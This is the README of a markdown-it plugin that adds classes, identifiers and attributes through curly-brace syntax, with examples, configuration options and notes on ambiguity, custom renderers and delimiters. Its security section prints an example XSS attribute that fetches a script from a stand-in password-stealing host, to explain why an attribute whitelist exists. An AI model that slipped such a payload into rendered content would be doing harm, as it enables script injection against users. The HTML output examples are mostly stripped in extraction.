Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes
npm install @marked-it/markdown-it-attrsAdd classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.
Example input:
``md`header {.style-me}
paragraph {data-toggle=modal}
Output: paragraph
`html`header
Works with inline elements too:
`md`
paragraph style me{.red} more text
Output: paragraph style me more text
`html`
And fenced code blocks:
`python {data=asdf}`
nums = [x for x in range(10)]
Output:
`html`
nums = [x for x in range(10)]
You can use .. as a short-hand for css-module=:
`md`
Use the css-module green on this paragraph. {..green}
Output: Use the css-module green on this paragraph.
`html`
Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):
`md`
paragraph with [a style me span]{.red}
Output: paragraph with a style me span
`html`
Attribute definition lists support inheritance of attributes based on Kramdown Syntax. These must be preceded and followed by an empty line.
Example input:
`md
{:aldOne: #someid .someclass attr="allowed"}
{:aldTwo: aldOne #anotherid .anotherclass anotherattr="allowed"}
another text
{:aldTwo}
`
Output: another text
`html`
``
$ npm install --save markdown-it-attrs
`js
var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs, {
// optional, these are default options
leftDelimiter: '{',
rightDelimiter: '}',
allowedAttributes: [] // empty array = all attributes are allowed
});
var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);
console.log(res);
`
js
{onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
`If security is a concern, use an attribute whitelist:
`js
md.use(markdownItAttrs, {
allowedAttributes: ['id', 'class', /^regex.*$/]
});
`Now only
id, class and attributes beginning with regex are allowed:`md
text {#red .green regex=allowed onclick=alert('hello')}
`Output:
`html
text
`Ambiguity
When class can be applied to both inline or block element, inline element will take precedence:
`md
- list item bold{.red}
`Output:
`html
- list item bold
`If you need the class to apply to the list item instead, use a space:
`md
- list item bold {.red}
`Output:
`html
- list item bold
`If you need the class to apply to the
element, use a new line:
`md
- list item bold
{.red}
`Output:
`html
- list item bold
`If you have nested lists, curlys after new lines will apply to the nearest
or . You may force it to apply to the outer by adding curly below on a paragraph by its own:
`md
- item
- nested item {.a}
{.b}{.c}
`Output:
`html
- item
- nested item
`This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
Similar for tables, attributes must be _two_ new lines below:
`md
header1 | header2
------- | -------
column1 | column2{.special}
`Output:
`html
header1
header2
column1
column2
`If you need finer control, decorate might help you.
Custom rendering
If you would like some other output, you can override renderers:`js
const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');md.use(markdownItAttrs);
// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
const token = tokens[idx];
return '
'
+ '' + token.content + ''
+ '
';
}let src = [
'',
'
`js {.abcd}',
'var a = 1;',
'`'
].join('\n')console.log(md.render(src));
`Output:
`html
var a = 1;
`Read more about custom rendering at markdown-it.
Custom blocks
markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.Remember to render attributes if you use a custom renderer.
Custom delimiters
To use different delimiters than the default, add configuration for
leftDelimiter and rightDelimiter:`js
md.use(attrs, {
leftDelimiter: '[',
rightDelimiter: ']'
});
`Which will render
`md
title [.large]
`as
`html
title
``MIT © Arve Seljebu